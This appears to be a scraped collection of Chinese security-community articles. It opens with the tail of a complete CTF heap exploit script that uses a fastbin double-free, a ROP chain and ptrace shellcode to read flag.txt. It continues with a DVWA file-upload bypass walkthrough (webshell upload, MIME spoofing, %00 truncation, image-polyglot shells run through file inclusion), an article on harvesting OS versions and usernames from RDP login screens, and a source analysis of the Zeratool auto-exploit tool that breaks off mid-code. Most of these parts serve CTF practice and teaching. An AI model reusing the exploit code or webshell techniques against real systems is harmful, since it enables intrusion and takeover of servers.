return p.recvuntil(x)
def se(x):
p.send(x)
def add(content,wait=True):
se('1\n')
ru('memo > ')
se(content)
if wait:
ru('> ')
def show(idx):
se('2\n')
ru('id > ')
se(str(idx)+'\n')
ru('Show id:')
ru('\n')
data=ru('\n')[:-1]
ru('> ')
return data
def delete(idx):
se('3\n')
ru('id > ')
se(str(idx)+'\n')
ru('> ')
def leak(addr):
se('2'+'\x00'*47+p64(addr)+'\n')
ru('id > ')
se(str(-16)+'\n')
ru('Show id:')
ru('\n')
data=ru('\n')[:-1]
ru('> ')
return data
def free(addr):
se('3'+'\x00'*47+p64(addr)+'\n')
ru('id > ')
se('-16\n')
ru('> ')
# leak
pbase=u64(show(-2)[:6]+'\x00\x00')-0x1020
stack=u64(show(-4)[:6]+'\x00\x00')
base=u64(leak(pbase+0x201668)[:6]+'\x00\x00')-e.symbols['puts']
add('aaa\n')
heap=u64(leak(stack-0x90)[:6]+'\x00\x00')
add('bbb\n')
#first fastbin attack
free(heap)
free(heap+0x30)
free(heap)
se('1'+'\x00'*7+cyclic(104)+p64(0x33)+'\n')
ru('Input memo > ')
se(p64(stack-0xd8)+'\n')
ru('> ')
add('2'*8+'\n')
add('3'*8+'\n')
add(cyclic(32)+'\x33'+'\x00'*6) #this can control stack
delete(0)
delete(1)
delete(2)
# second fastbin attack
se('1'+'\x00'*7+cyclic(104)+p64(0x33)+'\n')
ru('Input memo > ')
se(p64(stack-0xb0)+'\n')
ru('> ')
add('2'*8+'\n')
add('3'*8+'\n')
bss=0x2016E0+pbase+0x100
prdi=pbase+0x1083
leave=pbase+0xc95
prsi=base+0x202e8
prdx=base+0x1b92
gets=base+e.symbols['gets']
ptrace=base+e.symbols['ptrace']
waitpid=base+e.symbols['waitpid']
mprotect=base+e.symbols['mprotect']
prctl=base+e.symbols['prctl']
payload=p64(bss-8)+p64(prdi)+p64(bss)+p64(gets)+p64(leave)[:7]
add(payload,False)
pay2=p64(prdi)+p64(pbase+0x201000)+p64(prsi)+p64(0x1000)+p64(prdx)+p64(7)
pay2+=p64(mprotect)+p64(bss+0x100)
pay2=pay2.ljust(0x100,'\x00')
#shellcode
pay2+=asm(sc.mmap_rwx(address=0x123000)+\
sc.read(0,0x123000,0x400)+\
sc.syscall('SYS_fork'))
pay2+=asm("cmp rax,0")+'u\x09'+asm("mov rsi,0x123000\n jmp rsi")
pay2+=asm(sc.mov('rdi','rax')+\
sc.mov('r14','rax')+\
sc.mov('rax',waitpid)+\
sc.setregs({'rsi':0,'rdx':0})+\
'call rax\n'+\
sc.setregs({'rax':ptrace, 'rsi':'r14', 'rdi':0x18,'rcx':0,'rdx':0})+\
'call rax\n'+\
sc.setregs({'rax':waitpid, 'rdi':'r14','rsi':0,'rdx':0}) +\
'call rax\n'+\
sc.setregs({'rax':ptrace, 'rsi':'r14', 'rdi':0xc, 'rcx':0x123400,'rdx':0})+\
'call rax\n'+\
'mov rdi,0x123478\n' +\
'mov dword ptr [rdi],0x2\n' +\
sc.setregs({'rax':ptrace, 'rsi':'r14','rdi':0xd, 'rcx':0x123400, 'rdx':0})+\
'call rax\n'+\
sc.setregs({'rax':ptrace, 'rsi': 'r14', 'rdi':0x11, 'rcx':0, 'rdx':0})+\
'call rax\n'+\
sc.read(0,'rsp',0x100))
sleep(0.5)
se(pay2+'\n')
sleep(0.5)
shell=asm(sc.amd64.setregs({'rax':ptrace,'rdi':0,'rsi':0,'rdx':0})+\
'''
call rax
mov rax,186
syscall
mov rdi,rax
mov rsi,19
mov rax,200
syscall
'''
)
shell+=asm(sc.pushstr('flag.txt')+\
sc.syscall('SYS_read','rsp',0,0)+\
sc.syscall('SYS_read','rax','rsp',0x100)+\
sc.syscall('SYS_write',1,'rsp','rax'))
se(shell)
print(hex(pbase))
print(hex(stack))
print(hex(base))
print(hex(heap))
p.interactive() | 社区文章 |
# 5.File Upload
## 1.File Upload(Low)
相关代码分析
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
basename(path,suffix)
函数返回路径中的文件名部分，如果可选参数suffix为空，则返回的文件名包含后缀名，反之不包含后缀名。
可以看到，服务器对上传文件的类型、内容没有做任何的检查、过滤，存在明显的文件上传漏洞，生成上传路径后，服务器会检查是否上传成功并返回相应提示信息。
文件上传漏洞的利用是有限制条件的，首先当然是要能够成功上传木马文件，其次上传文件必须能够被执行，最后就是上传文件的路径必须可知。
上传文件1.php（一句话木马）
上传成功并且返回了路径
蚁剑连接，拿到shell
## 2.File Upload(Medium)
相关代码分析
可以看到，Medium级别的代码对上传文件的类型、大小做了限制，要求文件类型必须是jpeg或者png，大小不能超过100000B（约为97.6KB）。
第一种方法，修改文件类型为image/png
放包，成功上传
第二种方法，将木马文件写成.png后缀上传，然后修改文件后缀为.php
放包，成功上传
第三种方法，%00截断上传，将文件名改为shell.php%00.png
在php版本小于5.3.4的服务器中，当Magic_quote_gpc选项为off时，可以在文件名中使用%00截断，所以可以将文件名改为shell.php%00.png，
可以看到，包中的文件类型为image/png，可以通过文件类型检查。
上传成功
而服务器会认为其文件名为shell.php，顺势解析为php文件。由于本次实验环境的php版本为5.5.9，所以无法进行验证。
## 3.File Upload(High)
相关代码分析
strrpos(string,find,start)
函数返回字符串find在另一字符串string中最后一次出现的位置，如果没有找到字符串则返回false，可选参数start规定在何处开始搜索。
getimagesize(string filename)
函数会通过读取文件头，返回图片的长、宽等信息，如果没有相关的图片文件头，函数会报错。
可以看到，High级别的代码读取文件名中最后一个”.”后的字符串，期望通过文件名来限制文件类型，因此要求上传文件名形式必须是`”*.jpg”、”*.jpeg”
、”*.png”`之一。同时，getimagesize函数更是限制了上传文件的文件头必须为图像类型。
尝试上传一个一句话后门的图片格式脚本 shell.png
发现即使图片类型为png的, 但是当内容非图片格式的时候, 也不能上传
第一种方法，可以通过添加jpg图片的格式头到脚本文件里进行绕过
首先在文本文档里写入<?php phpinfo();?>文件后缀修改为.jpg
上传文件，抓包，在脚本文件前加上GIF89，放包
成功上传
第二种方法，在图片文件内容后添加<?php phpinfo();?>
命令行输入copy 1.jpg/b + shell.php/a 2.jpg
点击上传
文件上传成功
上传之后的脚本是图片格式的, 不能当做php解析,
webshell管理工具的原理是向上传文件发送包含参数的post请求，通过控制参数来执行不同的命令，而这里服务器将木马文件解析成了图片文件，因此向其发送post请求时，服务器只会返回这个“图片”文件，并不会执行相应命令。
如果让让我们的图片以 php 格式运行，可以借助High级别的文件包含漏洞来获取webshell权限，让我们的图片格式的一句话木马以php格式运行。
第一种方法，构造url：
/vulnerabilities/fi/?page=file:////var/www/html/hackable/uploads/phpinfo.jpg
成功解析phpinfo文件
第一种方法，构造url：
/vulnerabilities/fi/?page=file:////var/www/html/hackable/uploads/2.jpg
可以看到, jpg的木马图片被当做php解析了
## 4.File Upload(Impossible)
相关代码分析
imagecreatefromjpeg ( filename )
函数返回图片文件的图像标识，失败返回false
imagejpeg ( image , filename , quality)
从image图像以filename为文件名创建一个JPEG图像，可选参数quality，范围从 0（最差质量，文件更小）到 100（最佳质量，文件最大）。
imagedestroy( img )
函数销毁图像资源
可以看到，Impossible级别的代码对上传文件进行了重命名（为md5值，导致%00截断无法绕过过滤规则），加入Anti-CSRF
token防护CSRF攻击，同时对文件的内容作了严格的检查，导致攻击者无法上传含有恶意脚本的文件。
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
**作者：阿布@墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/91g9szVMDyXC17u6Vx453A>**
## **RDP协议（Remote desktop protocol）**
RDP（remote desktop
protocol）桌面远程传输协议，是一个多通道的协议，可以让用户连接上提供微软终端机服务的电脑。RDP协议大部分被应用在Windows操作系统中，当然也包括linux，freebsc，mac
os
x在内的其他系统。公司员工在出差或者居家办公期间，可以使用远程桌面软件访问其办公计算机，这样一来提高了办公效率，但也带来了很多安全风险隐患。如果攻击者通过RDP协议获取到目标主机的操作系统版本、用户名多维度信息，便可以直接搜索操作系统版本相应的漏洞并利用其实施密码爆破，大大提高了黑客获取目标主机操控权限的概率。
## **基于RDP协议的识别方法**
**识别方法概述**
当前最普遍的操作系统识别方法主要是基于规则匹配的方法。例如：利用Nmap扫描目标主机，通过获取网络中传输和接收的数据包信息与它已经创建的规则库进行特征匹配，进行快速识别。但目标主机所处的网络环境会影响数据包信息质量，导致操作系统版本识别准确率较低；另外，单靠Nmap等扫描工具探测维度不够，获取信息有限，无法获取目标主机用户名信息。
**解决思路**
以虚拟的攻，促真实的防。站在攻击者的角度，解决问题的思路如下：通过RDP协议获取到目标主机的远程桌面登录截图，利用目标检测算法获取目标主机的操作系统版本和用户名位置。考虑到用户名字符存在多种多样的形式，我们将识别到的用户名位置在宽、高上分别设置一定的像素偏差，然后将其裁剪出来，利用ocr模型识别出具体的字符。最后，汇总每个主机的操作系统版本与用户名信息进行返回。
图1 基于RDP协议获取操作系统版本和用户名流程
**实现方法**
**1.数据准备**
我们主要针对Windows操作系统编写脚本，获取开启RDP服务的Windows主机的登录截图，目前主要支持的操作系统版本包括Windows7_Profession、Windows7_Enterprise、Windows7_ulimate、Windows_Server_2008_Standard、Windows_Server_2008_Enterprise、Windows_Server_2008_Datacenter、Windows_Server_2012、Windows_Server_2008_R2_Standard、Windows_Server_2008_R2_Enterprise、Windows_Server_2008_R2_Datacenter、Windows_Server_2008_R2_Foundation、Windows_Server_2008_R2_Web_Service、Windows_Server_2012_R2、Windows10/Windows11/Windows_Server_2016/2019一共14个类别。其中Windows_Server_2016和Windows_Server_2019都是基于Windows
10内核开发的，所以我们将它们归为一类。同时，训练数据为经过人工挑选大量具有代表性的图片，使得模型的泛化能力得以保证。下图是我们基于RDP协议获取到的Windows7_Enterprise的截图，从图中可以看到目标主机的操作系统版本和用户名。
图2 基于RDP协议获取到的用户登录界面
**2.目标检测算法**
提到目标检测算法，就不得不说Yolo系列，目前Yolo系列已经更新至V7版本，但考虑到算法稳定性问题，我们采用Yolo
V5算法对RDP截图进行识别训练。Yolo系列算法的本质相同，主要原理如下：
图3 yolo算法案例图
将输入图片分割成SxS网格，每个单元格（grid cell）负责去检测中心点落在该格子内的目标，如上图中的红色grid
cell就负责预测“狗”这个对象。其次在不同的算法中每个grid cell又会生成多个bounding
box，简称bbox，每个bbox又有置信度计算方法，其置信度大小一共包含两个部分具体计算公式如下:
其中，表示第个bbox的置信度，取值范围从0到1，表征
**边界框匹配目标的好坏程度** 。
每个grid
cell最终的预测值为大小的张量，其中
**B**
表示bbox的个数，每个bbox预测值包括它的中心坐标(x，y)和（w，h），也就是边界框相对于整个图片的宽高比例，以及该bbox的边框置信度c；
**C** 表示每个bbox预测包含所有类别的概率值。其总的损失函数如下：
整个公式由三部分组成，第一部分为绿色方框中的内容，表示第i个网格中的第j个bbox是否负责这个Object，称为坐标预测；第二部分为红色方框中的内容，分别是含有Object的bbox的置信度预测与不含Object的bbox的置信度预测，统称置信度预测；第三部分为蓝色方框中的内容，表示是否有Object中心落在网格i中，称为类别预测。分别为权重系数。
跟常见的机器学习任务一样，训练模型的最终目的是为了使上述的损失函数不断减小，让目标检测任务从 **预测方框** 和 **预测类别**
两个维度不断逼近真实的标签数据，从而达到训练效果。经过实验，最终的预测结果如下图所示。
图4 基于rdp方法识别结果图
**3.OCR识别**
在得到用户名位置后，根据经验判断，将预测框的位置在图片宽度基础上误差设置为0-5个像素值，在高度基础上误差设置为0-3个像素值，然后将其裁剪下来，利用我们已有的ocr模型进行识别，得到最终的操作系统版本类别和用户名信息。同时，支持多个用户名识别。
**4.实验结果**
为保证测试结果准确性，实验分别对每个类别的600-1000张图片进行测试，最后进行人工核查，得到实验结果如下表所示。在用户名方面，测试的准确率为98%左右。
类别 | 准确率
---|---
Windows7_Profession | 99.8%
Windows7_Enterprise | 99.6%
Windows7_ulimate | 99.8%
Windows_Server_2008_R2_Standard | 94.5%
Windows_Server_2008_R2_Enterprise | 98.7%
Windows_Server_2008_R2_Datacenter | 99%
Windows_Server_2008_R2_Foundation | 100%
Windows_Server_2008_R2_Web_Service | 100%
Windows_Server_2012_R2 | 98.2%
Windows_Server_2008_Standard | 100%
Windows_Server_2008_Enterprise | 100%
Windows_Server_2008_Datacenter | 100%
Windows_Server_2012 | 100%
Windows10/Windows11/Windows_Server_2016/2019 | 98%
基于rdp方法实验结果
## **总结**
目前，网络安全风险验证过于依赖人工方式，多以白帽黑客进行人工渗透测试为主，交付方式、工作效率、标准化程度、行为及数据可控性存在多方面不足。同时，网络安全缺乏有效验证手段，尽管企业投入了大量资金购买各类安全系统及设备，也很难科学、准确地验证自身安全控制的有效性及安全投入的合理性。
网络安全攻防技术必将愈发体现出人工智能及机器学习介入的影响，未来的网络安全将会越来越多地出现AI vs
AI的攻防局面，墨云将一直专注人工智能在攻防安全领域的应用研究，打造智能化产品体系，为用户提供全方位的信息安全服务。
* * * | 社区文章 |
# zeratool：基于 angr 的CTF pwn 自动化利用工具介绍
## 前言
[Zeratool](https://github.com/ChrisTheCoolHut/Zeratool) 实现了针对 CTF 中的 pwn
题的自动化利用生成（Automatic Exploit Generation）以及远程获取 flag。
它基于 angr, 探索程序未约束的状态，继而分析状态的寄存器信息和内存布局，设定约束，对约束进行求解，结合
[pwntools](https://github.com/Gallopsled/pwntools) 编写脚本，提交 payload 到远程 CTF
服务器获得 flag。
本篇文章结合源码对 zeratool 的实现思路进行分析。通过阅读该文，可以对angr 和 pwn的自动化利用进一步认识。
注：zeratool 基于 angr7 ，不兼容当前的 angr8
## 使用
Zeratool 主要针对栈溢出和格式化字符串漏洞，实现的漏洞利用方式如下：
* 栈溢出漏洞——修改 pc：`win function / shellcode / rop chain /one gadget`
* 格式化字符串——修改 got 表项: `win function / shellcode`
`zeratool` 接收 `binary` 作为参数，同时可以配置其他选项：
[chris:~/Zeratool] [angr] python zeratool.py -h
usage: zeratool.py [-h] [-l LIBC] [-u URL] [-p PORT] [-v] file
positional arguments:
file File to analyze
optional arguments:
-h, --help show this help message and exit # 帮助信息
-l LIBC, --libc LIBC libc to use # 指定 libc
-u URL, --url URL Remote URL to pwn # 远程 Url
-p PORT, --port PORT Remote port to pwn # 远程端口
-v, --verbose Verbose mode # 设置调试模式
使用示例：
#!/bin/bash
#Buffer Overflows with win functions
python zeratool.py challenges/ret -u ctf.hackucf.org -p 9003
python zeratool.py challenges/bof3 -u ctf.hackucf.org -p 9002
#Format string leak
python zeratool.py challenges/easy_format
#Format string point to win function
python zeratool.py challenges/medium_format
#Format string point to shellcode
python zeratool.py challenges/hard_format #有时需要运行两遍
#Buffer overflow point to shellcode
python zeratool.py challenges/demo_bin
接下来，我将结合源码介绍 zeratool 的思想。
## 源码分析
### 目录
zeratool.py #顶层模块
lib
- formatDetector.py #检测格式化字符串漏洞
- formatExploiter.py #利用格式化字符串漏洞
- formatLeak.py # 检查信息泄露
- inputDetector.py # 检查输入类型
- overflowDetector.py # 检查缓冲区溢出
- overflowExploitSender.py # 发送 exploit
- overflowExploiter.py # 利用缓冲区溢出
- protectionDetector.py # 检查保护机制
- winFunctionDetector.py # 检查目标函数
lib 下包含各个模块，实现了漏洞自动化利用的相关接口，zeratool.py 负责顶层调用。lib
模块可以粗略分为三类：信息检测/漏洞检测/漏洞利用。接下来分模块介绍
### 顶层接口
#### **zeratool**
zeratool 调用顶层接口，总体逻辑大致如下：
zeratool 关于利用的属性会存储在 `properties` 字典中，如以下属性
properties['pwn_type']['position']
properties['pwn_type']['length']
properties['pwn_type']['input'] # 输入字符串
properties['pwn_type']['type'] # 漏洞类型，分为 Overflow / Format
properties['pwn']['exploit']
properties['input_type'] #输入方式
properties['win_functions'] #如有目标函数，存在这里
properties['win_functions'][func]['fcn_addr']
properties['protections']['got']
properties['libc']
首先读取二进制程序，调用接口检测漏洞类型：
properties['pwn_type'] = overflowDetector.checkOverflow(args.file,inputType=properties['input_type'])
if properties['pwn_type']['type'] is None:
print("[+] Checking for format string pwn type...")
properties['pwn_type'] = formatDetector.checkFormat(args.file,inputType=properties['input_type'])
* `overflowDetector.checkOverflow` 检测缓冲区溢出漏洞
* `formatDetector.checkFormat` 检测格式化字符串漏洞
这个两个接口均会返回一个字典存储在 `properties['pwn_type']` 下，包含漏洞的一些信息
包含的信息如下：
* 栈溢出情况：`type / input`
* 格式化字符串情况：`type / position / length / input`
获得保护机制信息：
properties['protections'] = protectionDetector.getProperties(args.file)
接下来，为漏洞利用部分，如果是格式化字符串漏洞，检查是否可以直接通过泄露获得 flag，如果获得 flag 则直接结束。
if properties['pwn_type']['type'] == "Format":
properties['pwn'] = formatLeak.checkLeak(args.file,properties) # 检测 flag 泄露
if properties['pwn']['flag_found'] and args.url is not "": # 连接远程服务器
properties['pwn']['exploit'] = formatLeak.checkLeak(args.file,properties,remote_server=True,remote_url=args.url,port_num=int(args.port))
if properties['pwn']['flag_found']: # 找到 flag, 直接退出
exit(0)
检查程序中是否有目标函数（利用时直接劫持控制流到该函数即可）
properties['win_functions'] = winFunctionDetector.getWinFunctions(args.file)
接下来，如果是缓冲区溢出漏洞，调用 `exploitOverflow` ，通过约束求解获得 `input` 值，发送
`expoit`。若是格式化字符串漏洞，则调用 `exploitFormat` 接口。如果可以成功利用并提供了 url，则连接远程服务器。无法利用则输出
`[-] Can not determine vulnerable type`
if properties['pwn_type']['type'] == "Overflow":
properties['pwn_type']['results'] = overflowExploiter.exploitOverflow(args.file, properties, inputType=properties['input_type']) # 利用缓冲区溢出漏洞
if properties['pwn_type']['results']['input']:
properties['send_results'] = overflowExploitSender.sendExploit(args.file,properties) # 如果可以成功利用
if properties['send_results']['flag_found'] and args.url is not "":
properties['remote_results'] = overflowExploitSender.sendExploit(args.file,properties,remote_server=True,remote_url=args.url,port_num=int(args.port)) # 连接远程服务器利用
elif properties['pwn_type']['type'] == "Format":
properties['pwn_type']['results'] = formatExploiter.exploitFormat(args.file,properties) # 利用格式化字符串漏洞
if properties['pwn_type'] is not None and 'flag_found' in properties['pwn_type'].keys() and properties['pwn_type']['results']['flag_found'] and args.url is not "": # 如果可以成功利用
properties['pwn_type']['send_results'] = formatExploiter.getRemoteFormat(properties,remote_url=args.url,remote_port=int(args.port)) # 连接远程服务器利用
else:
print("[-] Can not determine vulnerable type")
以上就是 zeratool 自动化解题的顶层逻辑，接下来深入介绍各个模块。
### 信息检测
#### 检查保护机制
[protectionDetector.py](https://github.com/ChrisTheCoolHut/Zeratool/blob/master/lib/protectionDetector.py)
检测 binary 信息/保护机制，获取相关属性保存在 `properties` 中，如下
binary = ELF(binary_name)
properties['aslr'] = binary.aslr
properties['arch'] = binary.arch
properties['canary'] = binary.canary
properties['got'] = binary.got
properties['nx'] = binary.nx
properties['pie'] = binary.pie
properties['plt'] = binary.plt
properties['relro'] = binary.relro
#### 检查输入类型
[inputDetector.py](https://github.com/ChrisTheCoolHut/Zeratool/blob/master/lib/inputDetector.py)
分为三种 `stdin /arg /libpwnable`
通过判断是否存在 `'fgets','gets','scanf','read'`函数确定是否从 `stdin` 获取输入。
reading_functions = ['fgets','gets','scanf','read']
binary_functions = p.loader.main_object.imports.keys()
#Match reading functions against local functions
if any([x in reading_functions for x in binary_functions]):
return "STDIN"
return "ARG"
文中会针对 STDIN 的情况进行讲解，这也是一般情况，ARG 和 LIBPWNABLE
两种输入类型会选择性忽略，不过利用思想大致相似，只是一些数据处理逻辑不同。
#### 检查目标函数
[winFunctionDetector.py](https://github.com/ChrisTheCoolHut/Zeratool/blob/master/lib/winFunctionDetector.py)
检测 binary 是否有目标函数(`winFunction`), 分为两种: 一种为调用 `system(/bin/sh)`，另一种为读取
`flag.txt`
使用 r2 进行分析
r2 = r2pipe.open(binary_name)
r2.cmd('aaa')
* 检测 `system` 函数调用
functions = [func for func in json.loads(r2.cmd('aflj'))] # 获得函数列表
#Check for function that gives us system(/bin/sh)
for func in functions:
if 'system' in str(func['name']):
system_name = func['name']
#获得交叉引用
refs = [func for func in json.loads(r2.cmd('axtj @ {}'.format(system_name)))]
for ref in refs:
if 'fcn_name' in ref:
winFunctions[ref['fcn_name']] = ref #存储函数信息及引用
通过 r2 命令：`aflj` 获得 `json` 格式的函数列表，遍历该列表，找到函数名包含 `system` 的函数，使用 `axt [addr]`
命令获得代码段和数据段对函数的引用。将引用函数的信息存储在 `winFunctions[ref['fcn_name']]` 中。
* 检测 flag 读取
known_flag_names = ["flag","pass"] # 标志字符串
strings = [string for string in json.loads(r2.cmd('izj'))] #获得 data 段的字符串
for string in strings:
value = string['string']
decoded_value = base64.b64decode(value)
if any([x in decoded_value for x in known_flag_names]): # 查看字符串是否包含 flag/ pass
address = string['vaddr'] # 获得字符串的地址
#获得交叉引用信息
refs = [func for func in json.loads(r2.cmd('axtj @ {}'.format(address)))]
for ref in refs:
if 'fcn_name' in ref:
winFunctions[ref['fcn_name']] = ref
通过r2 的 `izj` 命令获得数据段的字符串（in JSON)，遍历字符串，查看是否包含 “flag” 或 “pass" 字符串，如果包含，通过访问
`vaddr` 属性，获得字符串的地址，再通过 axtj 命令获取有关该地址的引用信息，将信息存储在
`winFunctions[ref['fcn_name']]` 中。
> 注：any() 函数用于判断给定的可迭代参数 iterable 是否全部为 False，则返回 False，如果有一个为 True，则返回 True。
### 漏洞检测
#### 检查溢出漏洞
[overflowDetector.py](https://github.com/ChrisTheCoolHut/Zeratool/blob/master/lib/overflowDetector.py)
检查是否有溢出漏洞。
探索路径:
try:
@timeout_decorator.timeout(120) # 设置 timeout
def exploreBinary(simgr):
# 探索程序状态
simgr.explore(find=lambda s: 'type' in s.globals,step_func=overflow_filter)
exploreBinary(simgr)
if 'found' in simgr.stashes and len(simgr.found): # 如果找到目标状态
end_state = simgr.found[0] # 探索到的可利用状态
run_environ['type'] = end_state.globals['type'] # 漏洞类型
调用模拟管理器的 `explore` 接口探索程序状态，直到找到 state 的 globals 包含 `type` 信息。（type
代表漏洞类型，说明找到漏洞）， 指定 `step_function` 为 `overflow_filter` 。每次 stash 中的状态 step
forward 时都运行该函数。
我们来看一下 `overflow_filter` 的实现。
for path in simgr.unconstrained: # 检查 unconstrained 状态是否满足约束
state = path.state
eip = state.regs.pc # 获取 eip 的访问
bits = state.arch.bits # 架构的位数，通常 32/64
state_copy = state.copy()
#Constrain pc to 0x41414141 or 0x41414141414141
constraints = []
for i in range(bits / 8): # 逐次对 eip 的字节添加约束
curr_byte = eip.get_byte(i)
constraint = claripy.And(curr_byte == 0x41)
constraints.append(constraint)
#检查可满足性
if state_copy.se.satisfiable(extra_constraints=constraints):
for constraint in constraints:
state_copy.add_constraints(constraint)
`overflow_filter` 对SM中 `unconstrained` 状态进行分析，检查寄存器 pc 的值是否可控。设定输入约束，设置 pc
为指定值（这代表我们可以劫持控制流），接下来限定 stdin 输入为可打印字符。
#约束输入值为可打印字符
stdin = state.posix.files[0]
constraints = []
stdin_size = 300
stdin.length = stdin_size
stdin.seek(0)
stdin_bytes = stdin.all_bytes()
for i in range(stdin_size):
curr_byte = stdin.read_from(1)
constraint = claripy.And(curr_byte > 0x2F, curr_byte < 0x7F) # 添加约束
if state.se.satisfiable(extra_constraints=[constraint]): # 判断是否满足
constraints.append(constraint)
通过以上步骤，我们主要添加了两大约束：1. 限定寄存器 pc 的值 2. 限定 stdin 为可打印字符。
添加约束后，使用求解器对输入字符串进行约束求解，可以求解说明找到可利用状态。
#对 stdin 输入字符串进行约束求解
stdin_str = repr(str(state.posix.dumps(0).replace('\x00','').replace('\x01','')))
print("[+] Vulnerable path found {}".format(stdin_str))
state.globals['type'] = "Overflow" # 设置漏洞类型
simgr.stashes['found'].append(path) # 添加找到的路径/状态
simgr.stashes['unconstrained'].remove(path)
通过 `overflow_filter` ，我们可以确定状态的漏洞类型及可利用状态。
在进行程序状态探索时，如果找到确定了漏洞类型即停止探索，将相关信息存储在 `run_environ` 变量中并返回。
#### 检查格式化字符串漏洞
[formatDetector.py](https://github.com/ChrisTheCoolHut/Zeratool/blob/master/lib/formatDetector.py)
检查是否有格式化字符串漏洞。
zeratool 会使用 `printFormat` 函数 hook printf 函数。
p.hook_symbol('printf',printFormat)
然后与缓冲区溢出检查类似，探索程序状态，当有 `state` 满足 find 条件时，状态会保存在 `found` stash
中，并将漏洞相关信息保存在`run_environ`对象返回。不同的是，主要分析逻辑在 `printFormat` 中。
try:
@timeout_decorator.timeout(120)
def exploreBinary(simgr):
simgr.explore(find=lambda s: 'type' in s.globals)
exploreBinary(simgr)
if 'found' in simgr.stashes and len(simgr.found):
end_state = simgr.found[0]
run_environ['type'] = end_state.globals['type']
run_environ['position'] = end_state.globals['position']
run_environ['length'] = end_state.globals['length']
if (inputType == "STDIN" or inputType == "LIBPWNABLE")and end_state is not None:
stdin_str = str(end_state.posix.dumps(0))
print("[+] Triggerable with STDIN : {}".format(stdin_str))
run_environ['input'] = stdin_str # 记录触发漏洞的输入字符串
接下来，我们来看一下 `printFormat` 的逻辑，因为是 hook `printf` 函数，`printFormat` 相当于一个
`SimProcedure` 对象。
class printFormat(angr.procedures.libc.printf.printf):
`printFormat` 首先检查传递给 `printf` 的变量的内存中是否有可控字节：
for i in xrange(5):
state_copy = self.state.copy() # 获得当前 State 的拷贝
solv = state_copy.solver.eval
printf_arg = self.arg(i) # 获得 printf 的参数
var_loc = solv(printf_arg)
var_value = state_copy.memory.load(var_loc) # 加载参数变量
var_value_length = int("0x"+str(var_value.length),16) # 变量长度
symbolic_list = [state_copy.memory.load(var_loc + x).get_byte(0).symbolic for x in xrange(var_value_length)] # 获取变量中的可控字节（符号化）
接下来借用 `symbolic_list` 寻找最大的可缓冲区
position = 0 #记录缓冲区起始位置
count = 0
greatest_count = 0 # 可控区域的最大长度
prev_item = symbolic_list[0]
for i in range(1,len(symbolic_list)):
if symbolic_list[i] and symbolic_list[i] == symbolic_list[i-1]:
count = count +1
if (count > greatest_count):
greatest_count = count # 更新最大长度
position = i - count # 更新起始位置
else:
if (count > greatest_count):
greatest_count = count # 更新最大长度
position = i - 1 - count # 更新起始位置
count = 0 # 置零，重新开始统计
print("[+] Found symbolic buffer at position {} of length {}".format(position,greatest_count))
最后找到以 `position` 为起始位置，长度为 `greatest_count` 的一片可控缓冲区。
接下来，对缓冲区内容添加约束并求解 stdin 的输入，如果可以求解，`stdin_str` 中包含 "%x_" ，则说明存在格式化字符串漏洞。
if greatest_count > 0:
str_val = "%x_"
self.constrainBytes(state_copy,var_value,var_loc,position,var_value_length,strVal=str_val) # 对缓冲区内容添加约束
vuln_string = solv(var_value, cast_to=str) # 获得变量 string 形式的字符串
#Verify solution
if state_copy.globals['inputType'] == "STDIN" or state_copy.globals['inputType'] == "LIBPWNABLE":
stdin_str = str(state_copy.posix.dumps(0)) # 约束求解，获得输入字符串
if str_val in stdin_str: # 说明存在格式化字符串漏洞
var_value = self.state.memory.load(var_loc)
self.constrainBytes(self.state,var_value,var_loc,position,var_value_length)
print("[+] Vulnerable path found {}".format(vuln_string)) # 输出漏洞字符串
self.state.globals['type'] = "Format"
self.state.globals['position'] = position
self.state.globals['length'] = greatest_count
return True
调用 `constrainBytes` 函数用于对缓冲区添加约束，设置其内容为指定字符串。默认字符串 pattern 为 `%x_` ，实现如下：
# length 为缓冲区长度，loc 缓冲区位置。（实际并没有用到 symVar 和 position）
def constrainBytes(self, state, symVar, loc,position, length, strVal="%x_"):
for i in range(length):
strValIndex = i % len(strVal) # 获得对应的字符
curr_byte = self.state.memory.load(loc + i).get_byte(0) #获得对应字节
constraint = state.se.And(strVal[strValIndex] == curr_byte) # 添加约束
if (state.se.satisfiable(extra_constraints=[constraint])): # 判断是否可以满足约束
state.add_constraints(constraint)
else:
print("[~] Byte {} not constrained to {}".format(i,strVal[strValIndex]))
#### 检查信息泄露
`formatLeak.checkLeak()` 检查是否可以直接通过信息泄露获得 flag。
在检查格式化字符串漏洞模块，我们会记录触发漏洞的输入字符串（stdin_str) 通过访问
`properties['pwn_type']['input']` 可以得到。
%x 用于以十六进制的形式输出变量信息，通过构造多个 %x，我们可以越界输出栈上的内容。%x 用于泄露内存中的数据。
设置格式化字符串，依次泄露字符串后的地址，以 8 位十六进制数显示，每一轮发送一次字符串。`format_count` 代表格式化字符串中 %x 的数目。
format_count = base_input_string.count('_%x')
if properties['input_type'] == "STDIN" or properties['input_type'] == "LIBPWNABLE":
for i in xrange((run_count / format_count) +1):
#Create local or remote process
if remote_server:
proc = remote(remote_url,port_num)
else:
proc = process(binary_name)
input_string = base_input_string # 输入个格式化字符串
#Swap in values for every _%x
for j in range(format_count):
iter_num = (i * format_count) + j # 计算是第几个 %x
#设置格式化字符串的值，第 iter_num个值以8位十六进制数显示
input_string = input_string.replace('_%x','_%{}$08x'.format(iter_num),1)
proc.sendline(input_string) # 发送字符串
results = proc.recvall(timeout=5) # 返回信息
发送格式化字符串后，通过 `printf` 函数，我们获得输出信息，下一步进行解析，使用 ”_" 作为分割
data_leaks = results.split('_')
data_leaks = [x[0:8] if all([y in string.hexdigits for y in x]) else "" for x in data_leaks]
